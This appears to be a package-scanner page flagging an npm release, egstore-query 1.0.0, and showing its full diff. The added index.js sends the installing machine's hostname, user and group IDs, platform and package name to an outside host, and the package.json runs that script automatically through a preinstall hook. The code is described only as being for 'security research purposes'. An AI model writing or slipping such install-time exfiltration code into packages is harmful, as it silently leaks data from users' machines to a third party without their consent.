egstore-query 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of egstore-query might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +16 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ const https = require("https");
2
+ const os = require("os");
3
+ https.request({
4
+ method: "POST",
5
+ host: "jpa.jaren.wtf",
6
+ path: "/h1/npm",
7
+ headers: {
8
+ 'Content-Type': "application/json"
9
+ }
10
+ }).end(JSON.stringify({
11
+ pkg: process.env.npm_package_name,
12
+ hostname: os.hostname(),
13
+ uid: os.userInfo().uid,
14
+ gid: os.userInfo().gid,
15
+ platform: os.platform()
16
+ }));
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "egstore-query",
3
+ "version": "1.0.0",
4
+ "description": "Used for security research purposes",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }